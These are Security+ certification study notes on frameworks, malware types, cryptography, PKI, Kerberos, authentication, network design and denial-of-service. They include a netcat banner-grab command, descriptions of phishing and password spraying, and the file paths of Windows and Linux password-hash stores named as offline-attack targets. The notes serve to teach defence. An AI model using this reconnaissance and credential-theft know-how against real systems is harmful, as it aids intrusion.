Security+ (1)
Security+ (1)
Information Security
● Non-repudiation means that a subject cannot deny doing something, such as
creating, modifying, or sending a resource.
Cybersecurity Framework
● Information security and cybersecurity tasks can be classified as five functions:
○ Identify—develop security policies and capabilities. Evaluate risks, threats,
and vulnerabilities and recommend security controls to mitigate them.
○ Protect—procure/develop, install, operate, and decommission IT hardware
and software assets with security as an embedded requirement of every
stage of this operations life cycle.
○ Detect—perform ongoing, proactive monitoring to ensure that controls are
effective and capable of protecting against new types of threats.
○ Respond—identify, analyze, contain, and eradicate threats to systems and
data security.
○ Recover—implement cybersecurity resilience to restore systems and data
if other controls are unable to prevent attacks.
Exploitation Frameworks
● Remote Access Trojan:
○ malware that gives an adversary the means of remotely accessing the
network.
● Exploitation Framework:
○ Uses the vulnerabilities identified by an automated scanner and launches
scripts or software to attempt to deliver matching exploits.
● Metasploit:
○ A platform for launching modularized attacks against known software
vulnerabilities.
● Sn1per:
○ framework designed for penetration test reporting and evidence gathering.
Netcat
● Computer networking utility for reading and writing raw data over a network
connection, and can be used for port scanning and fingerprinting.
● the following command attempts to connect to the HTTP port on a server and
return any banner by sending the "head" HTTP keyword:
○ echo "head" | nc 10.1.0.1 -v 80
Security Assessments
● Network reconnaissance and discovery is used to identify hosts, network
topology, and open services/ports, establishing an overall attack surface.
○ Various types of security assessments can be used to test these hosts
and services for vulnerabilities.
● SP 800-115 identifies three principal activities within an assessment:
○ Testing the object under assessment to discover vulnerabilities or to prove
the effectiveness of security controls.
○ Examining assessment objects to understand the security system and
identify any logical weaknesses. This might highlight a lack of security
controls or a common misconfiguration.
○ Interviewing personnel to gather information and probe attitudes toward
and understanding of security.
● A vulnerability assessment is an evaluation of a system's security and ability to
meet compliance requirements based on the configuration state of the system.
Configuration Review
● A vulnerability scan assesses the configuration of security controls and
application settings and permissions compared to established benchmarks.
● It might try to identify whether there is a lack of controls that might be considered
necessary or whether there is any misconfiguration of the system that would
make the controls less effective or ineffective.
● Security content automation protocol (SCAP) allows compatible scanners to
determine whether a computer meets a configuration baseline.
● Some scanners measure systems and configuration settings against best
practice frameworks. This is referred to as a compliance scan.
Threat Hunting
● Threat hunting is an assessment technique that utilizes insights gained from
threat intelligence to proactively discover whether there is evidence of TTPs
already present within the network or system.
● Intelligence fusion and threat data—threat hunting can be performed by manual
analysis of network and log data, but this is a very lengthy process.
● Maneuver—when investigating a suspected live threat, you must remember the
adversarial nature of hacking.
○ In threat hunting, the concept that threat actor and defender may use
deception or counter attacking strategies to gain positional advantage.
Rules of Engagement
● Agreeing scope, operational parameters, and reporting requirements for a
penetration test.
● Black Box: consultant is given no privileged information about the network and its
security systems.
● White Box: the consultant is given complete access to information about the
network. This type of test is sometimes conducted as a follow-up to a black box
test to fully evaluate flaws discovered during the black box test.
● Grey Box: the consultant is given some information; typically, this would
resemble the knowledge of junior or non-IT staff to model particular types of
insider threats.
● Bug Bounty: a program operated by a software vendor or website operator where
rewards are given for reporting vulnerabilities.
● Hoaxes:
○ An email alert or web pop-up will claim to have identified some sort of
security problem, such as virus infection, and offer a tool to fix the
problem.
● prepending: means adding text that appears to have been generated by the mail
system.
○ For example, an attacker may add "RE:" to the subject line to make it
appear as though the message is a reply or may add something like
"MAILSAFE: PASSED" to make it appear as though a message has been
scanned and accepted by some security software.
● Pharming:
○ A passive means of redirecting users from a legitimate website to a
malicious one.
○ Pharming relies on corrupting the way the victim's computer performs
Internet name resolution, so that they are redirected from the genuine site
to the malicious one.
● Typosquatting:
○ This means that the threat actor registers a domain name that is very
similar to a real one, such as connptia.org, hoping that users will not
notice the difference.
● Watering Hole Attack:
○ An attack in which an attacker targets specific groups or organizations,
discovers which websites they frequent, and injects malicious code into
those sites.
● Credential Harvesting:
○ Social engineering techniques for gathering valid credentials to use to gain
unauthorized access.
○ The attacker may have more interest in selling the database of captured
logins than trying to exploit them directly.
○ Such attacks will use an alarming message such as "Your account is
being used to host child pornography" or "There is a problem with your
account storage" and a link to a pharming site embroidered with the logos
of a legitimate service provider, such as Google, Microsoft, Facebook, or
Twitter.
Influence Campaigns
Malware Classification
Computer Viruses
● Non-resident/file infector—the virus is contained within a host executable file and
runs with the host process.
○ The virus will try to infect other process images on persistent storage and
perform other payload actions.
● Memory resident—when the host file is executed, the virus creates a new
process for itself in memory.
○ The malicious process remains in memory, even if the host process is
terminated.
● Boot—the virus code is written to the disk boot sector or the partition table of a
fixed disk or USB media, and executes as a memory resident process when the
OS starts or the media is attached to the computer
● Script and macro viruses—the malware uses the programming features available
in local scripting engines for the OS and/or browser, such as PowerShell.
● Multipartite: used for viruses that use multiple vectors and polymorphic for
viruses that can dynamically change or obfuscate their code to evade detection.
● worm is memory-resident malware that can run without user intervention and
replicate over network resources.
○ a worm can execute by exploiting a vulnerability in a process when the
user browses a website, runs a vulnerable server application, or is
connected to an infected file share.
● Fileless Malware:
○ Fileless malware does not write its code to disk.
■ The malware uses memory resident techniques to run in its own
process, within a host process or dynamic link library (DLL).
○ Fileless malware uses lightweight shellcode to achieve a backdoor
mechanism on the host.
■ Shellcode: Lightweight block of malicious code that exploits a
software vulnerability to gain initial access to a victim system.
○ Fileless malware may use "live off the land" techniques rather than
compiled executables to evade detection.
■ This means that the malware code uses legitimate system scripting
tools, notably PowerShell and Windows Management
Instrumentation (WMI), to execute payload actions.
● Any type of access method to a host that circumvents the usual authentication
method and gives the remote user administrative control can be referred to as a
backdoor.
● A remote access trojan (RAT) is backdoor malware that mimics the functionality
of legitimate remote control programs, but is designed specifically to operate
covertly.
● A bot is an automated script or tool that performs some malicious activity.
● A group of bots that are all under the control of the same malware instance can
be manipulated as a botnet by the herder program.
● Command and Control (C2 or C&C): An infrastructure of hosts and services with
which attackers direct, distribute, and control malware over botnets.
● Covert Channel: A type of attack that subverts network security systems and
policies to transfer data without authorization or detection.
○ Historically, the Internet relay chat (IRC) protocol was popular.
Rootkits
● A class of malware that modifies system files, often at the kernel level, to conceal
its presence.
● Running as root has unrestricted access to everything from the root of the file
system down.
● Logic Bomb: A malicious program or script that is set to run under particular
circumstances or in response to a defined event.
Malware Indicators
● Antivirus Notifications:
○ Endpoint Protection Platforms (EPPs): A software agent and monitoring
system that performs multiple security tasks.
○ User and Entity Behavior Analytics (UEBA): A system that can provide
automated identification of suspicious activity by user accounts and
computer hosts.
● Resource Consumption:
○ Abnormal resource consumption can be detected using a performance
monitor, Task Manager, or the top Linux utility.
○ Also, it is only really poorly written malware or malware that performs
intensive operations (botnet DDoS, cryptojacking, and crypto ransomware,
for instance) that displays this behavior.
● File System:
○ While fileless malware is certainly prevalent, file system change or
anomaly analysis is still necessary.
○ A computer's file system stores a great deal of useful metadata about
when files were created, accessed, or modified.
● Sandbox Execution:
○ A sandbox is a system configured to be completely isolated from its host
so that the malware cannot "break out."
○ Cuckoo is packaged software that aims to provide a turnkey sandbox
solution, though the project is inactive at time of writing.
Process Analysis
Cryptographic Concepts
● Cryptography (literally meaning "secret writing") has been around for thousands
of years. It is the art of making information secure by encoding it.
● The following terminology is used to discuss cryptography:
○ Plaintext (or cleartext)—an unencrypted message.
○ Ciphertext—an encrypted message.
○ Cipher—the process (or algorithm) used to encrypt and decrypt a
message.
○ Cryptanalysis—the art of cracking cryptographic systems.
Hashing Algorithms
● A cryptographic hashing algorithm produces a fixed length string from an input
plaintext that can be of any length.
● The output can be referred to as a checksum, message digest, or hash.
● A hashing algorithm is used to prove integrity.
● As well as comparing password values, a hash of a file can be used to verify the
integrity of that file after transfer.
Symmetric Encryption
● Symmetric encryption is very fast. It is used for bulk encryption of large amounts
of data.
● The main problem is secure distribution and storage of the key, or the exact
means by which Alice and Bob "meet" to agree on the key.
Steam and Block Ciphers
● In a stream cipher, each byte or bit of data in the plaintext is encrypted one at a
time.
○ The plaintext is combined with a separate randomly generated message,
calculated from the key and an initialization vector (IV).
■ The IV ensures the key produces a unique ciphertext from the
same plaintext.
○ The keystream must be unique, so an IV must not be reused with the
same key.
● In a block cipher, the plaintext is divided into equal-size blocks (usually 128-bit).
○ If there is not enough data in the plaintext, it is padded to the correct size
using some string defined in the algorithm.v
○ The Advanced Encryption Standard (AES) is the default symmetric
encryption cipher for most products.
● Recommendations on minimum key length for any given algorithm are made by
identifying whether the algorithm is vulnerable to cryptanalysis techniques and by
the length of time it would take to "brute force" the key, given current processing
resources.
Asymmetric Encryption
● With an asymmetric cipher, operations are performed by two different but related
public and private keys in a key pair.
● The message cannot be larger than the key size. Where a large amount of data
is being encrypted on disk or transported over a network, asymmetric encryption
is inefficient.
Digital Signatures
● A message digest encrypted using the sender's private key that is appended to a
message to authenticate the sender and prove message integrity.
● 1. Alice (the sender) creates a digest of a message, using a pre-agreed hash
algorithm, and encrypts the digest using Alice’s private key. This creates Alice’s
digital signature.
● 2. Alice attaches the digital signature and sends both the message and public
key to Bob (the receiver).
● 3. Bob decrypts the digital signature using Alice's public key, resulting in the
digest of the message.
● 4. Bob then creates a digest of the message, using the same pre-agreed hash
algorithm that Alice used. Bob compares both digests.
Digital Certificates
● The question then arises of how anyone can trust the identity of the person or
server issuing a public key.
● One solution is to have a third party, referred to as a certificate authority (CA),
validate the owner of the public key by issuing the subject with a certificate.
● The process of issuing and verifying certificates is called public key infrastructure
(PKI).
Salting
● Passwords stored as hashes are vulnerable to brute force and dictionary attacks.
● A password hash cannot be decrypted; hash functions are one-way.
● However, an attacker can generate hashes to try to find a match for password
hash captured from network traffic or password file.
● A brute force attack simply runs through every possible combination of letters,
numbers, and symbols.
● A dictionary attack creates hashes of common words and phrases.
● Both these attacks can be slowed down by adding a salt value when creating the
hash, so you compute:
○ (salt + password) * SHA = hash
○ It simply means that an attacker cannot use precomputed tables of
hashes.
○ The hash values must be recompiled with the specific salt value for each
password.
Key Stretching
● Takes a key that's generated from a user password and repeatedly converts it to
a longer and more random key.
● The initial key may be put through thousands of rounds of hashing.
● The Password-Based Key Derivation Function 2 (PBKDF2) is very widely
used for this purpose, notably as part of Wi-Fi Protected Access (WPA).
○ Implementation of key stretching to make potentially weak input used to
derive a cryptographic key, such as short passwords, less susceptible to
brute force attacks.
Homomorphic Encryption
● is principally used to share privacy-sensitive data sets.
● Homomorphic encryption is a solution for this use case because it allows the
receiving company to perform statistical calculations on fields within the data
while keeping the data set as a whole encrypted.
● For example, if you want to perform analytics on customer interactions, an
analysis tool will be able to sum logons without any account identifiers like email
addresses ever being decrypted.
Blockchain
● a concept in which an expanding list of transactional records is secured using
cryptography.
● Each record is referred to as a block and is run through a hash function.
● The hash value of the previous block in the chain is added to the hash calculation
of the next block in the chain.
● Blockchain ensures availability through decentralization, and integrity through
cryptographic hashing and timestamping.
Steganography
● (literally meaning "hidden writing") is a technique for obscuring the presence of a
message.
● The container document or file is called the covertext.
● A steganography tool is software that either facilitates this or conversely that can
be used to detect the presence of a hidden message within a covertext.
● These methods might be used for command and control or to exfiltrate data
covertly, bypassing protection mechanisms such as data loss prevention
● When you want others to send you confidential messages, you give them your
public key to use to encrypt the message.
● The message can then only be decrypted by your private key, which you keep
known only to yourself.
● When you want to authenticate yourself to others, you create a signature and
sign it by encrypting the signature with your private key.
○ You give others your public key to use to decrypt the signature. As only
you know the private key, everyone can be assured that only you could
have created the signature.
● Public key infrastructure (PKI) aims to prove that the owners of public keys are
who they say they are.
Certificate Authorities
● The certificate authority (CA) is the entity responsible for issuing and
guaranteeing certificates.
● Ensure the validity of certificates and the identity of those applying for them
(registration).
● Establish trust in the CA by users and government and regulatory authorities and
enterprises, such as financial institutions.
● Manage the servers (repositories) that store and administer the certificates.
● Perform key and certificate lifecycle management, notably revoking invalid
certificates.
Digital Certificates
● A digital certificate is issued by a Certificate Authority (CA) as a guarantee that a
public key it has issued to an organization to encrypt messages sent to it
genuinely belongs to that organization.
● Public Key Cryptography Standards (PKCS): Series of standards defining the
use of certificate authorities and digital certificates.
Certificate Attributes
Certificate Expiration
● Root certificates might have long expiration dates (10+ years), whereas web
server and user certificates might be issued for 1 year only.
● When you are renewing a certificate, it is possible to use the existing key
(referred to specifically as certificate renewal) or generate a new key (the
certificate is rekeyed).
Certificate Pinning
● Pinning refers to several techniques to ensure that when a client inspects the
certificate presented by a server or a code-signed application, it is inspecting the
proper certificate.
● This might be achieved by embedding the certificate data in the application code,
or by submitting one or more public keys to an HTTP browser via an HTTP
header, which is referred to as HTTP Public Key Pinning (HPKP).
Certificate Formats
● There are various formats for encoding a certificate as a digital file for exchange
between different systems.
● Encoding:
○ Cryptographic data—both certificates and keys—are processed as binary
using Distinguished Encoding Rules (DER).
○ More typically, the binary data is represented as ASCII text characters
using Base64 Privacy-enhanced Electronic Mail (PEM) encoding.
● File Extensions:
○ A three character file extension is a convention, not a standard, and
unfortunately file extensions do not always map cleanly to the type of
encoding used within a certificate file, or even to the contents of a
certificate file.
○ Both .DER and .PEM can be used as file extensions, although the latter is
not recognized by Windows. .PEM is the most widely used extension for
ASCII format files in Linux.
○ The .CRT and .CER extensions can also be used, but they are not well-
standardized. Most of the confusion arises from the way Windows handles
certificates. In Linux, .CRT is most likely to represent an ASCII certificate.
In Windows, the most common extension is .CER, but this does not tell
you whether the file format is binary or ASCII.
● Contents:
○ The PKCS #12 format allows the export of the private key with the
certificate.
■ This type of file format is usually password-protected and always
binary.
○ The P7B format implements PKCS #7, which is a means of bundling
multiple certificates in the same file.
OpenSSL
● For Linux, CA services are typically implemented using the OpenSSL suite.
● Root CA:
○ To configure a root CA in OpenSSL, set up a directory structure and adapt
an OpenSSL configuration file (openssl.cnf) for any site-local settings. You
then need to create an RSA key pair:
■ openssl genrsa -aes256 -out cakey.pem 4096
○ The -aes256 argument encrypts the key and requires a password to
make use of it.
○ The next step is to use this RSA key pair to generate a self-signed root
X.509 digital certificate:
■ openssl req -config openssl.cnf -key cakey.pem -
new -x509 -days 7300 -sha256 -out cacert.pem
● Certificate Signing Requests:
○ To configure a certificate on a host, create a certificate signing request
(CSR) with a new key pair. This command is run on the web server:
■ openssl req -nodes -new -newkey rsa:2048 -out
www.csr -keyout www.key
○ This CSR file must then be transmitted to the CA server. On the CA, run
the following command to sign the CSR and output the X.509 certificate:
■ openssl ca -config openssl.cnf -extensions
webserver -infiles www.csr -out www.pem
Certificate Issues
● The most common problem when dealing with certificate issues is that of a client
rejecting a server certificate (or slightly less commonly, an authentication server
rejecting a client's certificate).
● If the problem is with an existing certificate that has been working previously,
check that the certificate has not expired or been revoked or suspended.
● If the problem is with a new certificate, check that the key usage settings are
appropriate for the application.
○ Some clients, such as VPN and email clients, have very specific
requirements for key usage configuration.
○ Also, check that the subject name is correctly configured and that the
client is using the correct address.
● If troubleshooting a new certificate that is correctly configured, check that clients
have been configured with the appropriate chain of trust.
○ You need to install root and intermediate CA certificates on the client
before a leaf certificate can be trusted.
● In either case, verify that the time and date settings on the server and client are
synchronized. Incorrect date/time settings are a common cause of certificate
problems.
Authentication Design
● Authentication design refers to selecting a technology that meets requirements
for confidentiality, integrity, and availability.
Authentication Attributes
● Somewhere You Are Authentication:
○ Location-based authentication measures some statistic about where you
are.
○ This could be a geographic location, measured using a device's location
service, or it could be by IP address.
● Something You Can Do Authentication:
○ Behavioral characteristics, such as the way you walk or the way you hold
your smartphone, can uniquely identify you to a considerable degree of
accuracy.
● Something You Exhibit Authentication:
○ refers to behavioral-based authentication and authorization, with specific
emphasis on personality traits.
○ For example, the way you use smartphone apps or web search engines
might conform to a pattern of behavior that can be captured by machine
learning analysis as a statistical template.
● Someone You Know Authentication:
○ A someone you know authentication scheme uses a web of trust model,
where new users are vouched for by existing users.
Kerberos Authentication
● Kerberos is a single sign-on network authentication and authorization protocol
used on many networks, notably as implemented by Microsoft's Active Directory
(AD) service.
● Kerberos was named after the three-headed guard dog of Hades (Cerberus)
because it consists of three parts.
● Clients request services from application servers, which both rely on an
intermediary—a Key Distribution Center (KDC)—to vouch for their identity.
● There are two services that make up a KDC: the Authentication Service and the
Ticket Granting Service.
●
● The Authentication Service is responsible for authenticating user logon requests.
● 1. The client sends the authentication service (AS) a request for a Ticket
Granting Ticket (TGT).
○ This is composed by encrypting the date and time on the local computer
with the user's password hash as the key.
● 2. The AS checks that the user account is present, that it can decode the request
by matching the user's password hash with the one in the Active Directory
database, and that the request has not expired.
○ If the request is valid, the AS responds with the following data:
■ Ticket Granting Ticket (TGT)—this contains information about the
client (name and IP address) plus a timestamp and validity period.
■ Ticket Granting Service (TGS) session key for use in
communications between the client and the TGS.
Kerberos Authorization
● 1. To access resources within the domain, the client requests a Service Ticket (a
token that grants access to a target application server).
○ This process of granting service tickets is handled by the TGS.
● 2. The client sends the TGS a copy of its TGT and the name of the application
server it wishes to access plus an authenticator, consisting of a time-stamped
client ID encrypted using the TGS session key.
● 3. The TGS service responds with:
○ Service session key—for use between the client and the application
server. This is encrypted with the TGS session key.
○ Service ticket—containing information about the user, such as a
timestamp, system IP address, Security Identifier (SID) and the SIDs of
groups to which he or she belongs, and the service session key.
● 4. The client forwards the service ticket, which it cannot decrypt, to the
application server and adds another time-stamped authenticator, which is
encrypted using the service session key.
● 5. The application server decrypts the service ticket to obtain the service session
key using its secret key, confirming that the client has sent an untampered
message.
○ It then decrypts the authenticator using the service session key.
● 6. Optionally, the application server responds to the client with the timestamp
used in the authenticator, which is encrypted by using the service session key.
○ The client decrypts the timestamp and verifies that it matches the value
already sent, and concludes that the application server is trustworthy.
● 7. The server now responds to client requests (assuming they conform to the
server's access control list).
●
PAP, CHAP, and MS-CHAP Authentication
● PAP:
○ an unsophisticated authentication method developed as part of the Point-
to-Point Protocol (PPP), used to transfer TCP/IP data over serial or dial-up
connections.
○ It relies on clear text password exchange and is therefore obsolete for
most purposes, except through an encrypted tunnel.
● CHAP:
○ also developed as part of PPP as a means of authenticating users over a
remote link.
○ CHAP relies on an encrypted challenge in a system called a three-way
handshake.
○ 1. Challenge—the server challenges the client, sending a randomly
generated challenge message.
○ 2. Response—the client responds with a hash calculated from the server
challenge message and client password (or other shared secret).
○ 3. Verification—the server performs its own hash using the password hash
stored for the client. If it matches the response, then access is granted;
otherwise, the connection is dropped.
○ This guards against replay attacks, in which a previous session could be
captured and reused to gain access.
● MS-CHAPv2:
○ Implementation of CHAP created by Microsoft for use in its products.
Password Attacks
● When a user chooses a password, the password is converted to a hash using a
cryptographic function, such as MD5 or SHA.
● Plaintext/Unencrypted Attacks:
○ A plaintext/unencrypted attack exploits password storage or a network
authentication protocol that does not use encryption.
● Online Attacks:
○ An online password attack is where the threat actor interacts with the
authentication service directly—a web login form or VPN gateway, for
instance.
○ The attacker submits passwords using either a database of known
passwords (and variations) or a list of passwords that have been cracked
offline.
● Password Spraying:
○ a horizontal brute-force online attack.
○ This means that the attacker chooses one or more common passwords
(for example, password or 123456) and tries them in conjunction with
multiple usernames.
● Offline Attacks:
○ An offline attack means that the attacker has managed to obtain a
database of password hashes, such as %SystemRoot%\System32\
config\SAM, %SystemRoot%\NTDS\NTDS.DIT (the Active Directory
credential store), or /etc/shadow.
○ Threat actors can also read credentials from host memory, in which case
the only reliable indicator might be the presence of attack tools on a host.
Password Crackers
● Password guessing software can attempt to crack captured hashes of user
credentials by running through all possible combinations (brute force).
● Hashcat: Command-line tool used to perform brute force and dictionary attacks
against password hashes.
Authentication Management
● An authentication management solution for passwords mitigates this risk by
using a device or service as a proxy for credential storage.
● The manager generates a unique, strong password for each web-based account.
● Password managers can be implemented with a hardware token or as a software
app:
○ Password key—USB tokens for connecting to PCs and smartphones.
Some can use nearfield communications (NFC) or Bluetooth as well as
physical connectivity.
○ Password vault—software-based password manager, typically using a
cloud service to allow access from any device.
Smart-Card Authentication
● means programming cryptographic information onto a card equipped with a
secure processing chip.
● The chip stores the user's digital certificate, the private key associated with the
certificate, and a personal identification number (PIN) used to activate the card.
● For Kerberos authentication, smart-card logon works as follows:
○ 1. The user presents the smart card to a reader and is prompted to enter a
PIN.
○ 2. Inputting the correct PIN authorizes the smart card's cryptoprocessor to
use its private key to create a Ticket Granting Ticket (TGT) request, which
is transmitted to the authentication server (AS).
○ 3. The AS is able to decrypt the request because it has a matching public
key and trusts the user's certificate, either because it was issued by a local
certification authority or by a third-party CA that is a trusted root CA.
○ 4. The AS responds with the TGT and Ticket Granting Service (TGS)
session key.
Open Authentication
● The Initiative for Open Authentication (OATH) is an industry body established
with the aim of developing an open, strong authentication framework.
○ Open means a system that any enterprise can link into to perform
authentication of users and devices across different networks.
○ Strong means that the system is based not just on passwords, but also on
2- or 3-factor authentication or on 2-step verification.
● HMAC-Based One-Time Password Algorithm (HOTP):
○ An algorithm that generates a one-time password using a hash-based
authentication code to verify the authenticity of the message.
○ The authentication server and client token are configured with the same
shared secret.
■ This should be an 8-byte value generated by a cryptographically
strong random number generator.
○ The shared secret can be transmitted to the smartphone app as a QR
code image acquirable by the phone's camera so that the user doesn't
have to type anything.
● Time-Based One-Time Password Algorithm (TOTP):
○ An improvement on HOTP that forces one-time passwords to expire after
a short period of time.
○ In TOTP, the HMAC is built from the shared secret plus a value derived
from the device's and server's local timestamps.
○ TOTP automatically expires each token after a short window (60 seconds,
for instance).
■ For this to work, the client device and server must be closely time-
synchronized.
2-Step Verification
● 2-step verification or out-of-band mechanisms generate a software token on a
server and send it to a resource assumed to be safely controlled by the user.
● The token can be transmitted to the device in a number of ways:
○ Short Message Service (SMS)—the code is sent as a text to the
registered phone number.
○ Phone call—the code is delivered as an automated voice call to the
registered phone number.
○ Push notification—the code is sent to a registered authenticator app on
the PC or smartphone.
○ Email—the code is sent to a registered email account.
Biometric Authentication
● The first step in setting up biometric authentication is enrollment.
● The chosen biometric information is scanned by a biometric reader and
converted to binary information.
● The biometric template is kept in the authentication server's database.
○ When the user wants to access a resource, he or she is re-scanned, and
the scan is compared to the template.
○ If they match to within a defined degree of tolerance, access is granted.
● Key metrics and considerations used to evaluate the efficacy rate of biometric
pattern acquisition and matching and suitability as an authentication mechanism
include the following:
○ False Rejection Rate (FRR)—where a legitimate user is not recognized.
○ False Acceptance Rate (FAR)—where an interloper is accepted (Type II
error or false match rate [FMR]). FAR is measured as a percentage.
○ False rejection cause inconvenience to users, but false acceptance can
lead to security breaches, and so is usually considered the most important
metric.
○ Crossover Error Rate (CER)—the point at which FRR and FAR meet.
The lower the CER, the more efficient and reliable the technology.
○ Throughput (speed)—the time required to create a template for each user
and the time required to authenticate.
Fingerprint Recognition
● A fingerprint sensor is usually implemented as a small capacitive cell that can
detect the unique pattern of ridges making up the pattern.
● The main problem with fingerprint scanners is that it is possible to obtain a
copy of a user's fingerprint and create a mold of it that will fool the scanner.
○ These concerns are addressed by vein matching scanners, or vascular
biometrics.
Facial Recognition
● Facial recognition records multiple indicators about the size and shape of the
face, like the distance between each eye, or the width and length of the nose.
● Facial recognition suffers from relatively high false acceptance and rejection
rates and can be vulnerable to spoofing.
Behavioral Technologies
● The variations in motion, pressure, or gait are supposed to uniquely verify each
individual.
● In practice, however, these methods are subject to higher error rates, and are
much more troublesome for a subject to perform.
● Voice recognition—relatively cheap, as the hardware and software required are
built into many standard PCs and mobiles.
● Gait analysis—produces a template from human movement (locomotion).
● Signature recognition—signatures are relatively easy to duplicate, but it is more
difficult to fake the actual signing process.
● Typing—matches the speed and pattern of a user’s input of a passphrase.
Offboarding Policies
● The process of ensuring that all HR and other requirements are covered when an
employee leaves an organization.
● Account management—disable the user account and privileges.
● Company assets—retrieve mobile devices, keys, smart cards, USB media, and
so on.
● Personal assets—wipe employee-owned devices of corporate data and
applications.
Service Accounts
● A host or network account that is designed to run a background service, rather
than to log on interactively.
● System—has the most privileges of any Windows account.
○ The local system account creates the host processes that start Windows
before the user logs on.
● Local Service—has the same privileges as the standard user account. It can only
access network resources as an anonymous user.
● Network Service—has the same privileges as the standard user account but can
present the computer's account credentials when accessing network resources.
Account Restrictions
● Location-Based Policies:
○ A user or device can have a logical network location, identified by an IP
address, subnet, virtual LAN (VLAN), or organizational unit (OU).
■ For example, a user account may be prevented from logging on
locally to servers within a restricted OU.
○ The geographical location of a user or device can also be calculated using
a geolocation mechanism.
■ IP address—these can be associated with a map location to
varying degrees of accuracy based on information published by the
registrant, including name, country, region, and city.
■ Location Services—these are methods used by the OS to calculate
the device's geographical position.
● Location services can also triangulate to cell towers, Wi-Fi
hotspots, and Bluetooth signals where GPS is not supported.
○ Geofencing refers to accepting or rejecting access requests based on
location.
■ Geofencing can also be used for push notification to send alerts or
advice to a device when a user enters a specific area.
● Time-Based Restrictions:
○ There are three main types of time-based policies:
■ A time of day policy establishes authorized logon hours for an
account.
■ A time-based login policy establishes the maximum amount of time
an account may be logged in for.
■ An impossible travel time/risky login policy tracks the location of
login events over time.
Account Audits
● A security or audit log can be used to facilitate detection of account misuse:
○ Accounting for all actions that have been performed by users. Change and
version control systems depend on knowing when a file has been modified
and by whom.
○ Detecting intrusions or attempted intrusions. Here records of failure-type
events are likely to be more useful, though success-type events can also
be revealing if they show unusual access patterns.
Usage Audits
● Usage auditing means configuring the security log to record key indicators and
then reviewing the logs for suspicious activity.
● Microsoft has published audit policy recommendations for baseline requirements
and networks with stronger security requirements:
○ Account logon and management events.
○ Process creation.
○ Object access (file system/file shares).
○ Changes to audit policy.
○ Changes to system security and integrity (antivirus, host firewall, and so
on).
Directory Services
● Directory services are the principal means of providing privilege management
and authorization on an enterprise network, storing information about users,
computers, security groups/roles, and services.
● The Lightweight Directory Access Protocol (LDAP) is a protocol widely used to
query and update X.500 format directories.
○ A distinguished name (DN) is a unique identifier for any given resource
within an X.500-like directory.
○ A distinguished name is made up of attribute=value pairs, separated by
commas.
○
Conduct Policies
● Acceptable Use Policy:
○ A policy that governs employees' use of company equipment and Internet
services. ISPs may also apply AUPs to their customers.
○ The policy will forbid the use of equipment to defraud, to defame, or to
obtain illegal material.
● Code of Conduct and Social Media Analysis:
○ A code of conduct, or rules of behavior, sets out expected professional
standards.
■ For example, employees' use of social media and file sharing poses
substantial risks to the organization, including threat of virus
infection or systems intrusion, lost work time, copyright
infringement, and defamation.
Network Appliances
● A number of network appliances are involved in provisioning a network
architecture:
○ Switches—forward frames between nodes in a cabled network.
○ Wireless access points—provide a bridge between a cabled network and
wireless clients, or stations.
○ Routers—forward packets around an internetwork, making forwarding
decisions based on IP addresses.
■ Routers work at layer 3 of the OSI model. Routers can apply logical
IP subnet addresses to segments within a network.
○ Firewalls—apply an access control list (ACL) to filter traffic passing in or
out of a network segment.
○ Load balancers—distribute traffic between network segments or servers to
optimize performance.
○ Domain Name System (DNS) servers—host name records and perform
name resolution to allow applications and users to address hosts and
services using fully qualified domain names (FQDNs) rather than IP
addresses.
Network Segmentation
● A network segment is one where all the hosts attached to the segment can use
local (layer 2) forwarding to communicate freely with one another.
● Segregation means that the hosts in one segment are restricted in the way they
communicate with hosts in other segments.
Demilitarized Zones
● The most important distinction between different security zones is whether a host
is Internet-facing.
● Demilitarized Zones:
○ A segment isolated from the rest of a private network by one or more
firewalls that accepts connections from the Internet over designated ports.
○ The basic principle of a DMZ is that traffic cannot pass directly through it.
● A DMZ enables external clients to access data on private systems, such as web
servers, without compromising the security of the internal network as a whole.
● The hosts in a DMZ are not fully trusted by the internal network because of the
possibility that they could be compromised from the Internet.
○ They are referred to as bastion hosts and run minimal services to reduce
the attack surface as much as possible.
○
Screened Hosts
● Smaller networks may not have the budget or technical expertise to implement a
DMZ.
● In this case, Internet access can still be implemented using a dual-homed
proxy/gateway server acting as a screened host.
○ Screened Host: A dual-homed proxy/gateway server used to provide
Internet access to other network nodes, while protecting them from
external attack.
Implications of IPv6
● If IPv6 is enabled but unmanaged, there is the potential for malicious use as a
backdoor or covert channel.
● Firewalls should be configured with ACLs that either achieve the same security
configuration as for IPv4 or block IPv6, if that is a better option.
Loop Prevention
● As a layer 2 protocol, Ethernet has no concept of Time To Live.
● Therefore, layer 2 broadcast traffic could continue to loop through a network with
multiple paths indefinitely.
● Layer 2 loops are prevented by the Spanning Tree Protocol (STP).
○ Spanning tree is a means for the bridges to organize themselves into a
hierarchy and prevent loops from forming.
● Broadcast Storm Prevention:
○ STP is principally designed to prevent broadcast storms.
○ If a bridged network contains a loop, broadcast traffic will travel through
the network, get amplified by the other switches, and arrive back at the
original switch, which will re-broadcast each incoming broadcast frame,
causing an exponential increase (the storm), which will rapidly overwhelm
the switches and crash the network.
○ A storm control setting on a switch is a backup mechanism to rate-limit
broadcast traffic above a certain threshold.
● Bridge Protocol Data Unit (BPDU) Guard:
○ A threat actor might try to attack STP using a rogue switch or software
designed to imitate a switch.
○ BPDU Guard is a switch port security feature that can disable a port if it
receives a BPDU from a connected device.
○ Topology changes in STP can cause a switch to flush the cache more
frequently and to start flooding unicast traffic more frequently, which can
have a serious impact on network performance and assists sniffing
attacks.
Radius Federation
● Most implementations of EAP use a RADIUS server to validate the authentication
credentials for each user (supplicant)
● RADIUS federation means that multiple organizations allow access to one
another's users by joining their RADIUS servers into a RADIUS hierarchy or
mesh.
Jamming Attacks
● A Wi-Fi jamming attack can be performed by setting up a WAP with a stronger
signal.
○ An attack in which radio waves disrupt 802.11 wireless signals.
● The only ways to defeat a jamming attack are either to locate the offending radio
source and disable it, or to boost the signal from the legitimate equipment.
○ The source of interference can be detected using a spectrum analyzer.
Distributed Denial of Service Attacks
● Most denial of service (DoS) attacks against websites and gateways are
distributed DoS (DDoS).
● Some types of DDoS attacks simply aim to consume network bandwidth, denying
it to legitimate hosts, by using overwhelming numbers of bots.
● For example, a SYN flood attack works by withholding the client's ACK packet
during TCP's three-way handshake.
○ A DoS attack where the attacker sends numerous SYN requests to a
target server, hoping to consume enough resources to prevent the transfer
of legitimate traffic.
Load Balancing
● A load balancer distributes client requests across available server nodes in a
farm or pool.
● A load balancer also provides fault tolerance.
○ If there are multiple servers available in a farm, all addressed by a single
name/IP address via a load balancer, then if a single server fails, client
